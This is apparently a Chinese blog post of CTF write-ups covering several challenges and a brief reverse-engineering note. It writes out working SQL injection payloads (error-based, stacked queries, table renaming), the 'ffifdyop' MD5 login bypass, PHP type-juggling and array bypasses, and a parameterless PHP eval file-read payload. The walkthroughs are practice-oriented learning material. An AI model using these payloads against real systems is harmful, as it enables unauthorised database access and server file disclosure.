报错注入
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
extractvalue()和updatexml(),这题屏蔽了update,所以只能用 extractvalue()
本题用法
#查用户 ?inject=1' and (extractvalue(1,concat('~',user())));# #查数据库 ?inject=1' and (extractvalue(1,concat('~',database())));#
学习到,报错注入的基础:
extractvalue(1,concat('~',{指令}))
故意拼接出~{指令}
这个错误的查询条件,让其在报错的时候输出我们要的指令
堆叠注入
?inject=1'; show databases;# ?inject=1'; show tables from {..};#
这题可以用分号分割多个命令来进行堆叠注入
预加载
SET @sql=concat('se','lect * from `1919810931114514`;'); PREPARE ss from @sql; EXECUTE ss;#
可以通过预加载一个@sql命令,在这个命令中可供concat来组合字符串,绕过关键字检测。这题里还有strstr()来检测set和prepare的,但是strstr()不检测大小写,so...直接大写就好了。另外,在预加载sql语句的时候内部的引号需要用反引号`待替。
官方WP中的改表名的方法确实没有想到...
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #
得到flag
BJDCTF2020 EasyMD5
试了老半天才发现Header里面藏了私货
select * from admin where password = md5($password,true)
老方法了,直接输入md5注入万能密码 ffifdyop (md5加密后的hex解开是'or'6<trash>),导致了下一步的
$result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0)
判断直接通过。
第二个页面,查看源代码:
$a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend.
这里有两种方法,一是用万能密码(加密后的md5以0e开头,判断时会当成0处理)
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
另一种方法是用数组绕过。这题的payload可以是a[]=nmsl&b[]=666
php中的函数不支持数组,因此在加密数组的时候会直接返回一个null
第三步也是一样用数组绕过,就不详细写了(之前我好像写过类似的题来着)
<?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
[GXYCTF2019]禁止套娃
这是一个经典的无参数RCE
但是这题需要Githack,我用了Githack,Githacker,ExtractGit来hack/.git/文件夹得到的都是一个空的库QAQ,不知道是不是buuoj的锅。
从网上搞来的其他人hack下来的源码:
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
分了三个判断
- 第一个判断就是为了防止直接读取文件的
- 第二个
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']))
就是经典的无参数RCE,只允许字母的函数嵌套字母的函数((?R)?)就是无限套娃括号里的参数为前面的[a-z,_]
。例如 a(b(c()))等等,但是不允许出现没有括号的情况和使用引号的情况 - 第三个就是Ban掉了一些函数...加大难度
这一题的主要难点就是第二个if判断。也就是除了;以外都要符合其前面的嵌套条件。这里需要一些奇淫技巧了( https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE ):
-
localeconv()
返回的是包含本地数字及货币格式信息的数组,第一项就是'.' -
current()
默认返回数组的第一个值 -
array_reverse()
以相反的元素顺序返回数组 array_flip()
交换数组的键和值array_rand()
从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回- 我们可以用
scandir(current(localeconv()))
来取用当前目录 - 用来
array_rand(array_flip(scandir(current(localeconv()))))
随机取用当前目录下的文件
由于flag.php位于scandir()
出来的文件的倒数第二个,因此取用有些麻烦。
最终通过的payload是highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
不断刷新就出来了。
在别的师傅的wp上还找到将数组next(array_reverse())
这样的解法,蛮牛逼的
另外还有改Headers,然后getallheaders()
取用字符串,以及 请求包中cookie:PHPSESSID=flag.php
然后用session_id(session_start())
来取用这样的骚操作。以后说不定用得着。
[ASIS 2019]Unicorn shop
这题是要买第四个独角兽才能拿到flag
随便交了一个空表上去结果爆出来一个错
Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute result = method(*self.path_args, **self.path_kwargs) File "/app/sshop/views/Shop.py", line 34, in post unicodedata.numeric(price) TypeError: need a single Unicode character as parameter
注意到unicodedata.numeric(price)
,说明这题的价格实际上是一位unicode字符的Numberic Value。
所以只要找到一个Unicode字符的Numberic Value大于1334,即可获得flag
网上看到一堆人还去 https://www.compart.com/en/unicode/ 上去找一堆奇奇怪怪的字符
啧啧,别忘了咱中华文化博大精深啊
DUCTF re1
IDA转换:
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax __int128 v5; // [esp+0h] [ebp-44h] __int64 v6; // [esp+10h] [ebp-34h] int v7; // [esp+18h] [ebp-2Ch] __int16 v8; // [esp+1Ch] [ebp-28h] char v9; // [esp+20h] [ebp-24h] _mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));// 3074656D30633165577B465443545544h v7 = 0; v6 = qword_413E44; // 7D465443545544h v8 = 0; printf("欢迎来到DUTCTF呦\n"); printf("这是一道很可爱很简单的逆向题呦\n"); printf("输入flag吧:"); scanf("%s", &v9); v3 = strcmp((const char *)&v5, &v9); if ( v3 ) v3 = -(v3 < 0) | 1; if ( v3 ) printf(aFlag_0); else printf((const char *)&unk_413E90); system("pause"); return 0; }
因为看到了strcmp((const char *)&v5, &v9);
就大致猜到v5就是答案
再看_mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));// 3074656D30633165577B465443545544h
,这个 _mm_storeu_si128
的作用类似于赋值,于是找到 xmmword_413E34
然后按R键就可以了QAQ不过可能由于是小端存储的原因,他的顺序是倒过来的
no-strings-attached
在kali和win ubuntu bash里面都运行不了,正在学习IDAPython,没写完...明天再继续了
Comments | NOTHING